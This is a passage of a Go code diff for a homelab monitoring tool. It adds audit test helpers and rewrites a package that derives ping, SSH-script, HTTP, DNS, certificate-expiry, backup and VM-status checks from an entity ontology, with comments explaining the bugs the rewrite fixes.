// A deprecated entity still carrying an enabled check (dead_checks).
|
||||
dep := uuid.New()
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'service:old','service','old','deprecated','{}'::jsonb,1,now(),now())`, dep)
|
||||
depCheck := uuid.New()
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'check:http:service:old:0','check','c','active','{}'::jsonb,1,now(),now())`, depCheck)
|
||||
mustExec(t, pool, ctx, `INSERT INTO check_defs (entity_id, target_id, target_type, kind, config, interval_s, timeout_s, enabled, last_run_at)
|
||||
VALUES ($1,$2,'service','http','{}'::jsonb,60,30,true,now())`, depCheck, dep)
|
||||
|
||||
findings, summary := Report(ctx, pool)
|
||||
|
||||
byCat := map[string]int{}
|
||||
for _, f := range findings {
|
||||
byCat[f.Category] = f.Count
|
||||
}
|
||||
if byCat["orphan_checks"] < 1 {
|
||||
t.Errorf("orphan_checks = %d, want >=1", byCat["orphan_checks"])
|
||||
}
|
||||
if byCat["down_checks"] < 1 {
|
||||
t.Errorf("down_checks = %d, want >=1", byCat["down_checks"])
|
||||
}
|
||||
if byCat["dead_checks"] < 1 {
|
||||
t.Errorf("dead_checks = %d, want >=1", byCat["dead_checks"])
|
||||
}
|
||||
if summary.TotalFindings < 3 {
|
||||
t.Errorf("TotalFindings = %d, want >=3", summary.TotalFindings)
|
||||
}
|
||||
}
|
||||
67
internal/audit/testutil_test.go
Normal file
67
internal/audit/testutil_test.go
Normal file
@@ -0,0 +1,67 @@
|
||||
package audit
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/jackc/pgx/v5"
|
||||
)
|
||||
|
||||
// createTestDB provisions a throwaway migrated database, same convention as
|
||||
// internal/scheduler/coverage_test.go.
|
||||
func createTestDB(t *testing.T, baseURL string) *db.Pool {
|
||||
t.Helper()
|
||||
ctx := context.Background()
|
||||
|
||||
admin, err := pgx.Connect(ctx, baseURL)
|
||||
if err != nil {
|
||||
t.Fatalf("connect admin: %v", err)
|
||||
}
|
||||
dbName := fmt.Sprintf("oikos_aud_%08x", rand.Int63())
|
||||
if _, err := admin.Exec(ctx, "CREATE DATABASE "+dbName); err != nil {
|
||||
admin.Close(ctx)
|
||||
t.Fatalf("create test db: %v", err)
|
||||
}
|
||||
admin.Close(ctx)
|
||||
|
||||
at := strings.LastIndex(baseURL, "/")
|
||||
testURL := baseURL[:at+1] + dbName
|
||||
if q := strings.Index(baseURL[at:], "?"); q >= 0 {
|
||||
testURL += baseURL[at+q:]
|
||||
}
|
||||
|
||||
pool, err := db.New(ctx, testURL)
|
||||
if err != nil {
|
||||
t.Fatalf("connect test db: %v", err)
|
||||
}
|
||||
if err := pool.Migrate(ctx); err != nil {
|
||||
t.Fatalf("migrate: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
pool.Close()
|
||||
if admin, err := pgx.Connect(ctx, baseURL); err == nil {
|
||||
admin.Exec(ctx, "DROP DATABASE IF EXISTS "+dbName+" WITH (FORCE)")
|
||||
admin.Close(ctx)
|
||||
}
|
||||
})
|
||||
return pool
|
||||
}
|
||||
|
||||
func getenvOrDefault(key, def string) string {
|
||||
if v := os.Getenv(key); v != "" {
|
||||
return v
|
||||
}
|
||||
return def
|
||||
}
|
||||
|
||||
func mustExec(t *testing.T, pool *db.Pool, ctx context.Context, q string, args ...any) {
|
||||
t.Helper()
|
||||
if _, err := pool.Exec(ctx, q, args...); err != nil {
|
||||
t.Fatalf("exec %s: %v", q, err)
|
||||
}
|
||||
}
|
||||
@@ -1,38 +1,540 @@
|
||||
// Package checkdefaults derives an entity's default check_defs from the
|
||||
// monitoring kinds its type declares in seeds/ontology.yaml.
|
||||
//
|
||||
// The type says WHAT to watch (`service: [http, process]`); this package
|
||||
// works out HOW — which concrete check_defs rows to write, and what host,
|
||||
// script or URL each needs. Deriving config here rather than in YAML keeps
|
||||
// the ontology declarative and keeps address resolution (which has to walk
|
||||
// the graph) in code.
|
||||
package checkdefaults
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"strings"
|
||||
|
||||
"github.com/dtoro/oikos/internal/ontology"
|
||||
"github.com/google/uuid"
|
||||
"github.com/jackc/pgx/v5"
|
||||
)
|
||||
|
||||
type CheckDef struct {
|
||||
Kind string
|
||||
Script string
|
||||
Host string
|
||||
User string
|
||||
Port int
|
||||
Thresholds map[string]any
|
||||
Extra map[string]any
|
||||
// Semantic monitoring kinds, as declared on entity types. These are not
|
||||
// check_defs.kind values — one semantic kind can expand to several concrete
|
||||
// checks (`resource` becomes four ssh-script rows).
|
||||
const (
|
||||
KindPing = "ping"
|
||||
KindResource = "resource"
|
||||
KindUpdates = "updates"
|
||||
KindProcess = "process"
|
||||
KindHTTP = "http"
|
||||
KindCapacity = "capacity"
|
||||
KindBackup = "backup-freshness"
|
||||
KindCertExpiry = "cert-expiry"
|
||||
KindVMStatus = "vm-status"
|
||||
KindDNS = "dns"
|
||||
)
|
||||
|
||||
// defaultBackupMaxAge is how long a backup target may go without a new
|
||||
// artifact before it is stale. A day suits the nightly jobs in this lab;
|
||||
// override per target with `backup_max_age_s` in the entity's attributes.
|
||||
const defaultBackupMaxAge = 86400
|
||||
|
||||
// Target is the entity default checks are being ensured for.
|
||||
type Target struct {
|
||||
ID uuid.UUID
|
||||
Slug string
|
||||
Type string
|
||||
// Name is the entity's name column, not an attribute. The old code read
|
||||
// attrs["name"], which is never populated — seeds put `name` beside
|
||||
// `attributes`, not inside it — so every service silently produced no
|
||||
// process check.
|
||||
Name string
|
||||
Attrs []byte
|
||||
}
|
||||
|
||||
// Result reports what Ensure did, so callers can log a type that declared
|
||||
// monitoring but produced nothing instead of failing silently.
|
||||
type Result struct {
|
||||
Created int
|
||||
// Skipped records kinds that were declared but could not be built, with
|
||||
// the reason. A non-empty Skipped on an active entity is a real gap.
|
||||
Skipped []Skip
|
||||
// Undeclared is true when no ancestor of the type declared monitoring —
|
||||
// an ontology gap rather than a fleet gap.
|
||||
Undeclared bool
|
||||
}
|
||||
|
||||
// Skip is one declared-but-unbuilt check kind.
|
||||
type Skip struct {
|
||||
Kind string
|
||||
Reason string
|
||||
}
|
||||
|
||||
type checkDef struct {
|
||||
kind string
|
||||
config map[string]any
|
||||
interval int32
|
||||
}
|
||||
|
||||
// Ensure writes the default check_defs for one entity, idempotently.
|
||||
//
|
||||
// Returns the number of checks created. An entity whose type declares
|
||||
// monitoring it cannot satisfy comes back with a populated Skipped rather
|
||||
// than an error — a missing address is a modelling gap, not a failure of
|
||||
// this call.
|
||||
func Ensure(ctx context.Context, tx pgx.Tx, tree *ontology.TypeTree, t Target) (Result, error) {
|
||||
var res Result
|
||||
|
||||
if _, err := tx.Exec(ctx,
|
||||
`INSERT INTO entity_status (entity_id, health, updated_at)
|
||||
VALUES ($1, 'unknown', now())
|
||||
ON CONFLICT (entity_id) DO NOTHING`, t.ID); err != nil {
|
||||
return res, fmt.Errorf("entity_status %s: %w", t.Slug, err)
|
||||
}
|
||||
|
||||
mon := tree.Monitoring(t.Type)
|
||||
if !mon.Declared {
|
||||
res.Undeclared = true
|
||||
return res, nil
|
||||
}
|
||||
if mon.None() {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
var attrs map[string]any
|
||||
if len(t.Attrs) > 0 {
|
||||
_ = json.Unmarshal(t.Attrs, &attrs)
|
||||
}
|
||||
if attrs == nil {
|
||||
attrs = map[string]any{}
|
||||
}
|
||||
|
||||
// Per-entity override: an explicit `monitoring` attribute wins over the
|
||||
// type declaration. A single entity can opt out (monitoring: none) or pick
|
||||
// different kinds without introducing a new type — e.g. service:haos opts
|
||||
// out because its VM is already covered by a vm-status check and the
|
||||
// service can't be SSH-probed (haos blocks SSH).
|
||||
if mo, ok := attrs["monitoring"]; ok {
|
||||
mon = resolveMonitoringAttr(mo, mon)
|
||||
if mon.None() {
|
||||
return res, nil
|
||||
}
|
||||
}
|
||||
|
||||
// A service has no address of its own — it lives on the container that
|
||||
// provides it. Fall back to the graph before giving up.
|
||||
host := resolveHost(attrs)
|
||||
if host == "" {
|
||||
hostAttrs, err := hostViaGraph(ctx, tx, t.ID)
|
||||
if err != nil {
|
||||
return res, fmt.Errorf("resolve host for %s: %w", t.Slug, err)
|
||||
}
|
||||
host = resolveHost(hostAttrs)
|
||||
if user := resolveSSHUser(hostAttrs); host != "" && user != "root" {
|
||||
attrs["ssh"] = hostAttrs["ssh"]
|
||||
}
|
||||
}
|
||||
user := resolveSSHUser(attrs)
|
||||
port := resolveSSHPort(attrs)
|
||||
|
||||
var defs []checkDef
|
||||
for _, kind := range mon.Kinds {
|
||||
built, reason := buildKind(kind, t, attrs, host, user, port)
|
||||
if len(built) == 0 {
|
||||
res.Skipped = append(res.Skipped, Skip{Kind: kind, Reason: reason})
|
||||
continue
|
||||
}
|
||||
defs = append(defs, built...)
|
||||
}
|
||||
|
||||
for i, def := range defs {
|
||||
created, err := writeCheck(ctx, tx, t, i, def)
|
||||
if err != nil {
|
||||
return res, fmt.Errorf("check %s/%s: %w", t.Slug, def.kind, err)
|
||||
}
|
||||
if created {
|
||||
res.Created++
|
||||
}
|
||||
}
|
||||
return res, nil
|
||||
}
|
||||
|
||||
// resolveMonitoringAttr turns an entity's `monitoring` attribute into a
|
||||
// MonitoringResolution that overrides the type's declaration. Accepts the
|
||||
// scalar "none" (or empty) to opt out, or a list of kind strings to override.
|
||||
func resolveMonitoringAttr(v any, fallback ontology.MonitoringResolution) ontology.MonitoringResolution {
|
||||
switch vv := v.(type) {
|
||||
case string:
|
||||
if vv == "none" || vv == "" {
|
||||
return ontology.MonitoringResolution{Declared: true, Source: "attribute"}
|
||||
}
|
||||
case []any:
|
||||
kinds := make([]string, 0, len(vv))
|
||||
for _, k := range vv {
|
||||
if s, ok := k.(string); ok && s != "" {
|
||||
kinds = append(kinds, s)
|
||||
}
|
||||
}
|
||||
return ontology.MonitoringResolution{Declared: true, Kinds: kinds, Source: "attribute"}
|
||||
}
|
||||
return fallback
|
||||
}
|
||||
|
||||
// buildKind turns one declared semantic kind into concrete check_defs, or
|
||||
// returns the reason it could not.
|
||||
func buildKind(kind string, t Target, attrs map[string]any, host, user string, port int) ([]checkDef, string) {
|
||||
ssh := func(script string, args ...string) checkDef {
|
||||
cfg := map[string]any{"script": script, "host": host}
|
||||
if user != "" && user != "root" {
|
||||
cfg["user"] = user
|
||||
}
|
||||
if port != 0 && port != 22 {
|
||||
cfg["port"] = port
|
||||
}
|
||||
if len(args) > 0 && args[0] != "" {
|
||||
cfg["args"] = args[0]
|
||||
}
|
||||
return checkDef{kind: "ssh-script", config: cfg, interval: 60}
|
||||
}
|
||||
|
||||
switch kind {
|
||||
case KindPing:
|
||||
if host == "" {
|
||||
return nil, "no address on the entity or its host"
|
||||
}
|
||||
return []checkDef{{kind: "ping", config: map[string]any{"host": host}, interval: 30}}, ""
|
||||
|
||||
case KindResource:
|
||||
if host == "" {
|
||||
return nil, "no address on the entity or its host"
|
||||
}
|
||||
return []checkDef{
|
||||
ssh("cpu_check.sh"), ssh("memory_check.sh"),
|
||||
ssh("load_check.sh"), ssh("disk_usage_check.sh"),
|
||||
}, ""
|
||||
|
||||
case KindUpdates:
|
||||
if host == "" {
|
||||
return nil, "no address on the entity or its host"
|
||||
}
|
||||
// Daily. updates_check.sh runs `apt update` against the distro
|
||||
// mirrors; the shared 60s ssh-script default would have meant 1,440
|
||||
// mirror hits per machine per day to answer a question whose answer
|
||||
// changes about once a day.
|
||||
u := ssh("updates_check.sh")
|
||||
u.interval = 86400
|
||||
return []checkDef{u}, ""
|
||||
|
||||
case KindCapacity:
|
||||
if host == "" {
|
||||
return nil, "no address on the entity or its host"
|
||||
}
|
||||
return []checkDef{ssh("disk_usage_check.sh")}, ""
|
||||
|
||||
case KindProcess:
|
||||
if host == "" {
|
||||
return nil, "no address on the entity or its host"
|
||||
}
|
||||
// A service's name is a logical label, not usually its systemd unit
|
||||
// or container name (matrix = matrix-synapse.service + containers).
|
||||
// Prefer an explicit probe target when declared; process_check.sh also
|
||||
// matches a unit prefix or a docker container as a fallback.
|
||||
unit := ""
|
||||
for _, key := range []string{"probe_unit", "systemd_unit", "container"} {
|
||||
if v, _ := attrs[key].(string); v != "" {
|
||||
unit = v
|
||||
break
|
||||
}
|
||||
}
|
||||
// Ontology intent: "http when it has a url, else a process check." A
|
||||
// url-fronted service is already liveness-probed via http (the real
|
||||
// endpoint, through the TLS terminator); the process check is redundant
|
||||
// and fragile (needs host access + the exact unit/container name), and
|
||||
// under worst-of aggregation it lets a broken supplementary probe veto
|
||||
// a working service. Emit it only for services WITHOUT a url, or when
|
||||
// an explicit probe_unit opts into binary-level depth.
|
||||
if unit == "" {
|
||||
if httpURL(t, attrs) != "" {
|
||||
return nil, "url present and no probe_unit; http check covers liveness"
|
||||
}
|
||||
unit = t.Name
|
||||
}
|
||||
if unit == "" {
|
||||
return nil, "no name to check a process for"
|
||||
}
|
||||
// process_check.sh takes the unit/container name as $1 and reports
|
||||
// "unknown" without it.
|
||||
return []checkDef{ssh("process_check.sh", unit)}, ""
|
||||
|
||||
case KindBackup:
|
||||
// A backup target is checked from the machine that writes to it, so it
|
||||
// needs both an address (resolved via the backs-up-to edge) and the
|
||||
// path to look at.
|
||||
path, _ := attrs["path"].(string)
|
||||
if path == "" {
|
||||
return nil, "entity carries no path attribute to check for backups"
|
||||
}
|
||||
if host == "" {
|
||||
return nil, "no address on the entity or whatever backs up to it"
|
||||
}
|
||||
maxAge := defaultBackupMaxAge
|
||||
if v, ok := attrs["backup_max_age_s"].(float64); ok && v > 0 {
|
||||
maxAge = int(v)
|
||||
}
|
||||
cfg := map[string]any{"path": path, "host": host, "max_age_s": maxAge}
|
||||
if user != "" && user != "root" {
|
||||
cfg["user"] = user
|
||||
}
|
||||
if port != 0 && port != 22 {
|
||||
cfg["port"] = port
|
||||
}
|
||||
// Daily. The freshness budget itself is a day, so probing more often
|
||||
// cannot surface anything sooner — it just costs an SSH round trip.
|
||||
return []checkDef{{kind: "backup-freshness", config: cfg, interval: 86400}}, ""
|
||||
|
||||
case KindHTTP:
|
||||
url := httpURL(t, attrs)
|
||||
if url == "" {
|
||||
return nil, "no url attribute, public_host, or hostname-shaped name"
|
||||
}
|
||||
// max_status rather than an exact expected_status: most services sit
|
||||
// behind Authentik and answer 302/401, which is a working service.
|
||||
return []checkDef{{
|
||||
kind: "http",
|
||||
config: map[string]any{"url": url, "max_status": 500},
|
||||
interval: 60,
|
||||
}}, ""
|
||||
|
||||
case KindDNS:
|
||||
// Resolve the entity's name via DNS to verify the zone is reachable.
|
||||
// Uses the entity name (zone apex) or falls back to the slug.
|
||||
name := t.Name
|
||||
if name == "" {
|
||||
name = strings.TrimPrefix(t.Slug, "zone:")
|
||||
}
|
||||
if name == "" {
|
||||
return nil, "no name to resolve"
|
||||
}
|
||||
return []checkDef{{
|
||||
kind: "dns",
|
||||
config: map[string]any{"name": name},
|
||||
interval: 300, // 5 min — DNS changes are rare; the cost of a miss
|
||||
// is a stale IP, not a service outage.
|
||||
}}, ""
|
||||
|
||||
case KindCertExpiry:
|
||||
// The host whose cert to read (SNI / cert CN). Prefer an explicit
|
||||
// `hostname` attribute, then `cn`, then a dotted name. Hourly: expiry
|
||||
// changes once a day, but a renewal or mis-issued cert is worth
|
||||
// noticing within the hour.
|
||||
host := certHost(t, attrs)
|
||||
if host == "" {
|
||||
return nil, "no hostname / cn / dotted name to dial for the cert"
|
||||
}
|
||||
// `dial` is the TLS terminator's address to connect to (Caddy's lab
|
||||
// IP), used when the hostname doesn't resolve/reach from the scheduler.
|
||||
// Without it the probe can't reach *.hubris.network from a container
|
||||
// with no mesh / split-horizon DNS.
|
||||
dial, _ := attrs["dial"].(string)
|
||||
config := map[string]any{"host": host, "warn_days": 30, "crit_days": 7}
|
||||
if dial != "" {
|
||||
config["dial"] = dial
|
||||
}
|
||||
return []checkDef{{
|
||||
kind: "cert-expiry",
|
||||
config: config,
|
||||
interval: 3600,
|
||||
}}, ""
|
||||
|
||||
case KindVMStatus:
|
||||
// "Is the VM powered on" via `qm status` on its Proxmox host — the
|
||||
// right reachability probe for a VM, since many block ICMP and lack a
|
||||
// guest agent. checkVMStatus re-reads pve_id + host at runtime.
|
||||
if _, ok := attrs["pve_id"]; !ok {
|
||||
return nil, "no pve_id to run qm status"
|
||||
}
|
||||
return []checkDef{{
|
||||
kind: "vm-status",
|
||||
config: map[string]any{},
|
||||
interval: 60,
|
||||
}}, ""
|
||||
}
|
||||
|
||||
return nil, "no builder for this kind yet"
|
||||
}
|
||||
|
||||
// certHost works out the hostname to TLS-dial for a certificate's expiry.
|
||||
func certHost(t Target, attrs map[string]any) string {
|
||||
for _, key := range []string{"hostname", "cn", "san"} {
|
||||
if v, ok := attrs[key].(string); ok && v != "" {
|
||||
return v
|
||||
}
|
||||
}
|
||||
// A dotted name is a hostname (hubris.network, media.hubris.network).
|
||||
if strings.Contains(t.Name, ".") && !strings.Contains(t.Name, " ") {
|
||||
return t.Name
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// writeCheck upserts one check_def and its backing check entity.
|
||||
//
|
||||
// The entity upsert MUST return the row's id. The previous version generated
|
||||
// a fresh uuid, inserted ON CONFLICT (slug) DO NOTHING, then wrote a
|
||||
// check_defs row referencing that uuid. On any re-seed the slug already
|
||||
// existed, the entity insert became a no-op, and the check_defs insert
|
||||
// violated its foreign key — which aborted the whole ingest transaction and
|
||||
// made every subsequent statement fail with 25P02. Because the errors were
|
||||
// discarded, the only visible symptom was an unrelated failure much later.
|
||||
func writeCheck(ctx context.Context, tx pgx.Tx, t Target, idx int, def checkDef) (bool, error) {
|
||||
// The full target slug, not a truncation of it. shortSlug() took the last
|
||||
// 8 characters, so all 21 ingress routes collapsed to ".network" and
|
||||
// generated one identical check slug — they overwrote each other and 20
|
||||
// of them ended up with no check at all. It also collided service:jellyfin
|
||||
// with lxc:jellyfin. Entity slugs are unique; use them.
|
||||
checkSlug := fmt.Sprintf("check:%s:%s:%d", def.kind, t.Slug, idx)
|
||||
|
||||
newID, err := uuid.NewV7()
|
||||
if err != nil {
|
||||
newID = uuid.New()
|
||||
}
|
||||
|
||||
var checkID uuid.UUID
|
||||
err = tx.QueryRow(ctx,
|
||||
`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1, $2, 'check', $2, 'active', '{}', 1, now(), now())
|
||||
ON CONFLICT (slug) DO UPDATE SET updated_at = now()
|
||||
RETURNING id`,
|
||||
newID, checkSlug).Scan(&checkID)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("upsert check entity %s: %w", checkSlug, err)
|
||||
}
|
||||
|
||||
configJSON, err := json.Marshal(def.config)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// Config is derived from the seed, so the seed wins on re-ingest and
|
||||
// attribute changes propagate. `enabled` is deliberately left alone: it
|
||||
// is operational state an operator may have toggled.
|
||||
// last_run_at is seeded to a random point inside the interval so checks
|
||||
// created together do not stay in lockstep. Every check the seed creates
|
||||
// would otherwise come due in the same instant forever: ~165 probes
|
||||
// landing at once each minute rather than spread across it. Deliberately
|
||||
// absent from the DO UPDATE below — a re-seed must not reset the schedule
|
||||
// and re-herd everything.
|
||||
tag, err := tx.Exec(ctx,
|
||||
`INSERT INTO check_defs (entity_id, target_id, target_type, kind, config, interval_s, timeout_s, enabled, last_run_at)
|
||||
VALUES ($1, $2, $6, $3, $4, $5, 30, true,
|
||||
now() - make_interval(secs => random() * $5::int))
|
||||
ON CONFLICT (entity_id) DO UPDATE
|
||||
SET target_id = EXCLUDED.target_id, target_type = EXCLUDED.target_type,
|
||||
kind = EXCLUDED.kind,
|
||||
config = EXCLUDED.config, interval_s = EXCLUDED.interval_s,
|
||||
updated_at = now()`,
|
||||
checkID, t.ID, def.kind, configJSON, def.interval, t.Type)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("upsert check_def %s: %w", checkSlug, err)
|
||||
}
|
||||
return tag.RowsAffected() > 0, nil
|
||||
}
|
||||
|
||||
// httpURL works out what to GET for an http check.
|
||||
//
|
||||
// Ingress routes carry their hostname as the entity name rather than as an
|
||||
// attribute (`name: media.hubris.network`), and most declare no attributes at
|
||||
// all — so the name is the only thing to go on. Requiring a `url` attribute
|
||||
// left all 21 of them unmonitored, which is a shame given an ingress check is
|
||||
// the most end-to-end probe available: it exercises Caddy, DNS, TLS and the
|
||||
// upstream in one request.
|
||||
func httpURL(t Target, attrs map[string]any) string {
|
||||
if url, ok := attrs["url"].(string); ok && url != "" {
|
||||
return url
|
||||
}
|
||||
if h, ok := attrs["public_host"].(string); ok && h != "" {
|
||||
return "https://" + h
|
||||
}
|
||||
// A dotted name is a hostname; a service name like "jellyfin" is not.
|
||||
if strings.Contains(t.Name, ".") && !strings.Contains(t.Name, " ") {
|
||||
return "https://" + t.Name
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// hostViaGraph returns the attributes of the entity that hosts or provides
|
||||
// this one, so a service can inherit its container's address.
|
||||
func hostViaGraph(ctx context.Context, tx pgx.Tx, entityID uuid.UUID) (map[string]any, error) {
|
||||
rows, err := tx.Query(ctx, `
|
||||
SELECT e.attributes
|
||||
FROM relationships r
|
||||
JOIN entities e ON e.id = r.source_id
|
||||
WHERE r.target_id = $1
|
||||
AND r.valid_to IS NULL
|
||||
-- backs-up-to points from the thing being backed up TO the target,
|
||||
-- so walking it backwards finds the machine that writes the backups
|
||||
-- — which is the only place a freshness check can run.
|
||||
AND r.type IN ('provides', 'hosts', 'runs-on', 'backs-up-to')
|
||||
ORDER BY CASE r.type
|
||||
WHEN 'provides' THEN 0 WHEN 'runs-on' THEN 1
|
||||
WHEN 'backs-up-to' THEN 2 ELSE 3 END`,
|
||||
entityID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var raw []byte
|
||||
if err := rows.Scan(&raw); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var attrs map[string]any
|
||||
if json.Unmarshal(raw, &attrs) != nil {
|
||||
continue
|
||||
}
|
||||
if resolveHost(attrs) != "" {
|
||||
return attrs, nil
|
||||
}
|
||||
}
|
||||
return nil, rows.Err()
|
||||
}
|
||||
|
||||
func resolveHost(attrs map[string]any) string {
|
||||
if attrs == nil {
|
||||
return ""
|
||||
}
|
||||
if ip, ok := attrs["lan_ip"].(string); ok && ip != "" {
|
||||
return ip
|
||||
}
|
||||
// public_ipv4 before mesh: the scheduler container has no mesh interface,
|
||||
// so a standalone-server reachable only by mesh IP (netbird-vps) is
|
||||
// unprobeable even though a public IPv4 is available.
|
||||
if ip, ok := attrs["public_ipv4"].(string); ok && ip != "" {
|
||||
return ip
|
||||
}
|
||||
if mesh, ok := attrs["mesh"].(map[string]any); ok {
|
||||
if nb, ok := mesh["netbird"].(map[string]any); ok {
|
||||
if ip, ok := nb["ip"].(string); ok && ip != "" {
|
||||
return ip
|
||||
}
|
||||
// Seeds record the mesh name, not an address — ws:mac-mini
|
||||
// carries only `fqdn`, which is why it resolved to nothing.
|
||||
if fqdn, ok := nb["fqdn"].(string); ok && fqdn != "" {
|
||||
return fqdn
|
||||
}
|
||||
}
|
||||
}
|
||||
if ip, ok := attrs["mesh_ip"].(string); ok && ip != "" {
|
||||
return ip
|
||||
}
|
||||
for _, key := range []string{"host", "address", "public_host"} {
|
||||
if v, ok := attrs[key].(string); ok && v != "" {
|
||||
return v
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
@@ -42,6 +544,13 @@ func resolveSSHUser(attrs map[string]any) string {
|
||||
return u
|
||||
}
|
||||
}
|
||||
// Workstations carry their login as a top-level `user` attribute
|
||||
// (mac-mini: user: dtoro) rather than under ssh.user. Take it only when
|
||||
// no explicit ssh.user was set, so a host that genuinely wants root still
|
||||
// gets root.
|
||||
if u, ok := attrs["user"].(string); ok && u != "" {
|
||||
return u
|
||||
}
|
||||
return "root"
|
||||
}
|
||||
|
||||
@@ -57,148 +566,17 @@ func resolveSSHPort(attrs map[string]any) int {
|
||||
return 22
|
||||
}
|
||||
|
||||
func forEntityType(entityType string, attrs map[string]any) []CheckDef {
|
||||
host := resolveHost(attrs)
|
||||
user := resolveSSHUser(attrs)
|
||||
port := resolveSSHPort(attrs)
|
||||
|
||||
ssh := func(script string) CheckDef {
|
||||
return CheckDef{Kind: "ssh-script", Script: script, Host: host, User: user, Port: port}
|
||||
}
|
||||
|
||||
switch entityType {
|
||||
case "proxmox-host", "standalone-server":
|
||||
if host == "" {
|
||||
return nil
|
||||
// LogResult emits the one line that was missing: a type that asked for
|
||||
// monitoring and did not get it.
|
||||
func LogResult(slug, entityType string, res Result) {
|
||||
switch {
|
||||
case res.Undeclared:
|
||||
slog.Info("checkdefaults: type declares no monitoring",
|
||||
"entity", slug, "type", entityType)
|
||||
case len(res.Skipped) > 0:
|
||||
for _, s := range res.Skipped {
|
||||
slog.Warn("checkdefaults: declared check not created",
|
||||
"entity", slug, "type", entityType, "kind", s.Kind, "reason", s.Reason)
|
||||
}
|
||||
return []CheckDef{
|
||||
{Kind: "ping", Host: host},
|
||||
ssh("cpu_check.sh"),
|
||||
ssh("memory_check.sh"),
|
||||
ssh("load_check.sh"),
|
||||
ssh("disk_usage_check.sh"),
|
||||
ssh("updates_check.sh"),
|
||||
}
|
||||
case "workstation":
|
||||
if host == "" {
|
||||
return nil
|
||||
}
|
||||
return []CheckDef{
|
||||
{Kind: "ping", Host: host},
|
||||
ssh("cpu_check.sh"),
|
||||
ssh("memory_check.sh"),
|
||||
ssh("load_check.sh"),
|
||||
}
|
||||
case "lxc":
|
||||
if host == "" {
|
||||
return nil
|
||||
}
|
||||
return []CheckDef{
|
||||
ssh("cpu_check.sh"),
|
||||
ssh("memory_check.sh"),
|
||||
ssh("load_check.sh"),
|
||||
ssh("disk_usage_check.sh"),
|
||||
}
|
||||
case "vm":
|
||||
if host == "" {
|
||||
return nil
|
||||
}
|
||||
return []CheckDef{
|
||||
{Kind: "ping", Host: host},
|
||||
}
|
||||
case "service":
|
||||
if host == "" {
|
||||
return nil
|
||||
}
|
||||
n, _ := attrs["name"].(string)
|
||||
if n == "" {
|
||||
return nil
|
||||
}
|
||||
return []CheckDef{
|
||||
{Kind: "ssh-script", Script: "process_check.sh", Host: host, User: user, Port: port,
|
||||
Extra: map[string]any{"args": n}},
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func shortSlug(slug string) string {
|
||||
const n = 8
|
||||
if len(slug) > n {
|
||||
return slug[len(slug)-n:]
|
||||
}
|
||||
return slug
|
||||
}
|
||||
|
||||
func defaultInterval(kind string) int32 {
|
||||
switch kind {
|
||||
case "ping":
|
||||
return 30
|
||||
case "ssh-script":
|
||||
return 60
|
||||
default:
|
||||
return 300
|
||||
}
|
||||
}
|
||||
|
||||
func Ensure(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, slug, entityType string, attrsJSON []byte) {
|
||||
_, _ = tx.Exec(ctx,
|
||||
`INSERT INTO entity_status (entity_id, health, updated_at)
|
||||
VALUES ($1, 'unknown', now())
|
||||
ON CONFLICT (entity_id) DO NOTHING`,
|
||||
entityID)
|
||||
|
||||
var attrs map[string]any
|
||||
if len(attrsJSON) > 0 {
|
||||
json.Unmarshal(attrsJSON, &attrs)
|
||||
}
|
||||
if attrs == nil {
|
||||
attrs = map[string]any{}
|
||||
}
|
||||
|
||||
defs := forEntityType(entityType, attrs)
|
||||
if len(defs) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
for i, def := range defs {
|
||||
checkID, err := uuid.NewV7()
|
||||
if err != nil {
|
||||
checkID = uuid.New()
|
||||
}
|
||||
checkSlug := fmt.Sprintf("check:%s:%s:%d", def.Kind, shortSlug(slug), i)
|
||||
|
||||
_, _ = tx.Exec(ctx,
|
||||
`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1, $2, 'check', $2, 'active', '{}', 1, now(), now())
|
||||
ON CONFLICT (slug) DO NOTHING`,
|
||||
checkID, checkSlug)
|
||||
|
||||
configMap := map[string]any{}
|
||||
if def.Script != "" {
|
||||
configMap["script"] = def.Script
|
||||
}
|
||||
if def.Host != "" {
|
||||
configMap["host"] = def.Host
|
||||
}
|
||||
if def.User != "" && def.User != "root" {
|
||||
configMap["user"] = def.User
|
||||
}
|
||||
if def.Port != 0 && def.Port != 22 {
|
||||
configMap["port"] = def.Port
|
||||
}
|
||||
if def.Thresholds != nil {
|
||||
configMap["thresholds"] = def.Thresholds
|
||||
}
|
||||
for k, v := range def.Extra {
|
||||
configMap[k] = v
|
||||
}
|
||||
configJSON, _ := json.Marshal(configMap)
|
||||
|
||||
_, _ = tx.Exec(ctx,
|
||||
`INSERT INTO check_defs (entity_id, target_id, kind, config, interval_s, timeout_s, enabled)
|
||||
VALUES ($1, $2, $3, $4, $5, 30, true)
|
||||
ON CONFLICT (entity_id) DO NOTHING`,
|
||||
checkID, entityID, def.Kind, configJSON, defaultInterval(def.Kind))
|
||||
}
|
||||
}
|
||||
|
||||
125
internal/checkdefaults/defaults_test.go
Normal file
125
internal/checkdefaults/defaults_test.go
Normal file
@@ -0,0 +1,125 @@
|
||||
package checkdefaults
|
||||
|
||||
import (
|
||||
"testing"
|
